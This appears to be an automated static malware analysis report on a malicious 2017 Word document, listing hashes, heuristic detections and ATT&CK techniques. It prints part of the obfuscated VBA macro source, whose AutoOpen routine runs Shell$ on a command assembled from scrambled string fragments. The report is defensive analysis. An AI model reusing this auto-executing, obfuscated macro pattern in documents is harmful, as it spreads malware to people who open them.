Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0d0bb80a78ed3f8a…

MALICIOUS

Office (OLE)

192.0 KB Created: 2017-11-17 07:13:00 Authoring application: Microsoft Office Word First seen: 2017-11-20
MD5: 93b599e988150e34765a62ad81d4fb5d SHA-1: 10ad3342acadc7245e9ce6523451a32ec1e0e7c7 SHA-256: 0d0bb80a78ed3f8a9bd7bd33b0f44787de1f57d319e223f7e25cd42e940c2b31
284 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating a Shell() call within its VBA macros. The AutoOpen macro is present and configured to execute a command via Shell(), which is a common technique for downloading and executing second-stage payloads. The presence of obfuscated VBA code and a ClamAV detection for macro obfuscation further supports this assessment. The embedded URL 'http://wwZrMHg+MHgi+ZrMHg+MHgiw.l' is suspicious and likely serves as a download source.

Heuristics 9

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://wwZrMHg+MHgi+ZrMHg+MHgiw.l In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 223086 bytes
SHA-256: b2b7cef8f56a40ed1d75fa91ed02c81e9b92d88b7f5758ed646e32e8adc3001d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 112 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "piwbCiUbX"
Sub AutoOpen()
zGnqiGYbJ = "SDqOWDflO" + "oTfVtkOiG" + "WsGqzjwXP" + "nYSkKnWqc"
Shell$ SBHSrjXpn, 0
EhLwNArlw = "MdNDcAzBi" + "DcEKSznsM" + "vDIrzCHJw" + "vaiFwOhju"
End Sub
Function SBHSrjXpn()
rNDfROHp = "mBLtHKwFHmnFdkBjmzRswlzUOozEZwzowAMaVRPZPzjTTCuECPtzQUXiztfSMrfIozIcYbKUjsczFiBLutBJFAXcdhbcmwMYTXiUuRfbEYNYrXZVrUYTpWDnbjzqziinfEjijM8Ktlb49rBZiPKq"
ihTSikDPzK = Mid(rNDfROHp, 4, 129)
fYzMLz = Array("mWoozoIS", "zNEfFhjJ", "zEojJwQv", "sLBIMtfq", "YGsOnKfp")
nFjEBbp = Array("QGIMQfWH", "jBDvlCAp", "FsvnnAGE", "hNGzpUVm", "ZwTCoEfN")
sfTvFLz = Array("ptZKqkFW", "FCIuOrCP", "AEiCZWSO", "fQVmjwBB", "NiwubvNz")
XwBFzjzuEZ = "CJnczMHTmlAOkZwCansRTRtFOzzQwooWiqFSGZWLbwUsLaLLiIAYMrkiChOBOrVwzikuTdvAQjpWwBunmmipnPJmFbQZLVzkbWuhpRrEMzIfBNiAmaPcIfLiUwosNWpvjEvaGNwUuidnGikrsPmkFUbvLMMrczqqKNzHFbaBjw2qsus5jWVQ2Y66n"
PzLwFZHtw = Mid(XwBFzjzuEZ, 3, 160)
ozdJqPTb = Array("IjumLbXi", "wDCkZcnS", "bKiZOSnG", "BHhjsHoE", "qhtpbfCE")
ulovWowX = Array("snqjwRck", "ufTQRojq", "vnkEtrpo", "Oztrjzrv", "IZhabHKk")
PVUmtjj = Array("izlNoYnC", "zCuouzLB", "zBRwXkAw", "oXIrHIOn", "dAawFcAp")
CndbJ = "borHbOBYKTORlsKQnqZLpGEUUInVUFjsuCcCmbBdaLwdIPAjZYRDtiuIPAbmtBOtCVXjQHiLpvkiKbMEIDvwEDKwE7mCLDzQ"
FzdVr = Mid(CndbJ, 11, 74)
DUJBWj = Array("KrtjDDAK", "OfcapMMt", "woYQQvvp", "oGKuXPwV", "BbnjrUtl")
rabKzrAIPj = Array("XzdbfowQ", "njzQDjZP", "wEszsGnw", "jHZOZjCb", "vntSRTJA")
RiDQE = Array("IuGqPfSR", "BXkmcwtR", "KisYOjrH", "iYVPqHzc", "urozzzjE")
IXZUkztiwuj = "DuLKQljSfjorDQmNVPhjJZHPdwiIqNmNtwEXcRZXYFQdZsVppNiYmbYWpbRXGYcRzazFLPkEpJKDIdplcpScfObSZiiBzCRAdwjzvQdZddicQVNLmjuQFzmizifdhjFnsKaJwppMMszCfBwdpCn3AcuDiMTXF71ikl6LT0TL88P47"
kdUcFzlzJt = Mid(IXZUkztiwuj, 6, 135)
RSdsJDZvv = Array("oIMBwPzz", "ubInbllY", "DzMrKCbu", "ZHskHvRM", "vojGXqKO")
jRFEPX = Array("YVVOzKBI", "GQuAlstl", "hRbpXPsw", "JvrnBfAM", "pzSohMvP")
ziaIbQBmrRa = Array("GjiqBRbC", "uzZFPVqJ", "dWEDSNGa", "PhLnaFEU", "WMinkBzs")
FRmzSaMq = "vjnjFsZjTsSAPsshiiXWiBZzECjFstuFZpRiOnzIMSFQNOVscowXhDwsibtRUfzczBaZaKTqfOJMvIlphrcDvXXWrZDmthnjUcQMnvRSVHsStmwVqEkdCthcdEiBGjzzbcrR1bnF7Ebn8N5cwOW"
RvNRn = Mid(FRmzSaMq, 12, 120)
DCKrqw = Array("TptEGvzT", "GILKHrws", "cDbTGocp", "tEiDmCYc", "ZMkdUCUU")
cskEdAOw = Array("krjRttNf", "PpLhadlf", "MDKBMuhE", "jjluGSYa", "jGjPHLvA")
TziBSs = Array("qCnwrrBv", "bEQQsSIp", "JchKITYz", "RlwTuWXB", "IJLJHkMs")
FcOmm = "JYYbSzZ9JwijrCfcLaaIPBBznBtPtYdpBGoXDDLdIWQUYBwQfkMIoQsTkDJScUczzkFhIHZIPzzskhZlCckIMVBlOUnztsBotQWnvRIYLEtqRzjCiXPzjUncjUTnTaOWwKzTKmqlUMzIbKUOlkUWcBFZdtDbwUEkpWuGcCWiPrfAYp"
LddjilRiPIv = Mid(FcOmm, 15, 150)
KqfwVnBX = Array("hpTCBHhQ", "wtFfdlrX", "ipfGtiBE", "hPIiHzhY", "QpcTzWvJ")
wJSNAkDs = Array("DhVAQsYX", "RnfSFFwz", "nOUmzzJz", "MjPnIYXH", "tVDLMBop")
NVQuM = Array("qlQTTPTK", "qdflCJKE", "XWojckOt", "QXYkCnml", "afvNiqfw")
IEFJKRUDzr = "SSDtw91iTTnbHdna3wCLkTzRjfmUzfQIXBozCBPTYmlROLQDAjFoYFPqGBASDwTtrbBYVIPHMszMzQDVOjURZbjSlzqABzQcTsZnKrirRwcjHDrqziDTbCTPsinYROFPcVsHqQKXAczbzCKhGACXtwARYJubDJaDtMEmKjAhTjTzCrQpYFRRLiWfVbijVjTrBvimwYXWzVDMdAOjtFDzrIsdj01nMMq2"
wdjumkBdzUb = Mid(IEFJKRUDzr, 24, 192)
EqwYOLsLlIi = Array("NEzismFk", "KwnqNEMG", "WXCvrjID", "ruLXNwVh", "rsVYnkAi")
CVcEz = Array("SoZDzwYV", "SprLnjEi", "wtnwbhWN", "dGzVioSm", "XYdDJEDu")
QLbiCkCUJpJ = Array("VpEYFKtH", "nrbtwBCk", "RLatzDmi", "XEoOGBVr", "qsdldwIS")
dLSvTJrGmYE = "kNprzkoJJuX9LbvLDJvzSHuZcuiiCXbqNwzzjFpPdzOtAGsvnmdtinZkVNHLmwtnlWijzsGFXjUStNl1wC6rUPu2ZDV"
RMpTcshLIXS = Mid(dLSvTJrGmYE, 19, 59)
kbizXLq = Array("MrhrMZpV", "VslziKzS", "DaAAWiBl", "WkDEYRHT", "DIhFVuRw")
iOMjQ = Array("PStNQXMj", "uLhDzHvh", "pwVcVlzE", "lRtWcswI", "IClDlnVw")
wwFXTjMbIcX = Array("XWJNkDVw", "MzQZZpci", "VocwiqDC", "OYuuVrvB", "aWFwbjUh")
bizQDzFCj = "wL5KqYRiBULkNczHJiqAivSpiJCVNBnPjVztDXwaHoVfJSzBCHXP
... (truncated)

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